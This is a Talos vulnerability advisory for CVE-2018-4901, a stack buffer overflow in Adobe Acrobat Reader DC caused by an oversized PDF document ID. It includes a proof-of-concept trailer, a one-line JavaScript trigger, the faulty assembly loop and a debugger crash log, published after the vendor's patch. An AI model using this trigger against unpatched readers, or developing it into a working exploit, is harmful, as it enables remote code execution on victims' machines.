Talos Vulnerability Report

TALOS-2017-0505

Adobe Acrobat Reader DC Document ID Remote Code Execution Vulnerability

February 23, 2018
CVE Number

CVE-2018-4901

Summary

A specific Javascript script embedded in a PDF file can cause the document ID field to be used in an unbounded copy operation leading to stack-based buffer overflow when opening a specially crafted PDF document in Adobe Acrobat Reader DC 2018.009.20044. This stack overflow can lead to return address overwrite, which can result in arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2018.009.20044

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded Javascript scripts in the PDF to allow for interactive PDF forms This give the potential attacker the ability to precisely control memory layout and poses additional attack surface.

When parsing a PDF file with overly large Document ID field specified in the trailer, it is parsed correctly initially, but when it’s referenced in javascript, a stack-based buffer overflow can occur when encoding the bytes to a hex string. A sample document ID:

trailer <<
  /Root 1 0 R
  /ID   <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA><a>  
>>

A simple one line of javascript is enough to trigger this vulnerability:

41 0 obj <<
>>
stream


    this.docID;


endstream
endobj

Initially, the specified part of document ID field is hex-decoded into a sequence of bytes. When a this.docID is dereferenced in javascript, this byte sequence is encoded back into an ascii hex string again function at EScript+0x9e7c0. The following code is where the overflow happens:

movzx   ecx, byte ptr [edi]
mov     eax, ecx
and     ecx, 0Fh
shr     eax, 4
mov     al, [eax+ebx]
mov     [edx], al
mov     al, [ecx+ebx]
mov     [edx+1], al
add     edx, 2
inc     edi
dec     esi
jnz     short loc_2389E8F6

For each byte from edi, two bytes are written to memory pointed to by edx, while esi is used to track length, no check is performed to make sure overflow doesn’t happen. This leads to write beyond the limits of the stack buffer, ultimately overwriting the return address on the stack leading to a following crash:

(121c0.c5e8): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader   
DC\Reader\plug_ins\EScript.api - 
eax=00000001 ebx=00000000 ecx=00000002 edx=000001de esi=3aa43fb8 edi=393faff8
eip=67953258 esp=00b3c480 ebp=00b3c7a4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x9249:
67953258 cd29            int     29h
1:009> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00b3c7a4 6786e942 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x9249
01 00b3c948 30303030 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37c43
02 00b3c94c 30303030 0x30303030
03 00b3c950 30303030 0x30303030
04 00b3c954 30303030 0x30303030
05 00b3c958 41433432 0x30303030
06 00b3c95c 30303342 0x41433432
07 00b3c960 31364230 0x30303342
08 00b3c964 37363539 0x31364230
09 00b3c968 46463030 0x37363539
0a 00b3c96c 46464646 0x46463030
0b 00b3c970 39343839 0x46464646
0c 00b3c974 37363138 0x39343839
0d 00b3c978 39344133 0x37363138
0e 00b3c97c 3b602e40 0x39344133
0f 00b3c980 46323842 0x3b602e40
10 00b3c984 31334439 0x46323842
11 00b3c988 30303030 0x31334439
12 00b3c98c 00000000 0x30303030

While this function is protected with /GS which partially mitigates this vulnerability this protection can be bypassed leading to arbitrary code execution.

Timeline

2017-12-07 - Vendor Disclosure
2018 -02-13 - Vendor patched
2018-02-23 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos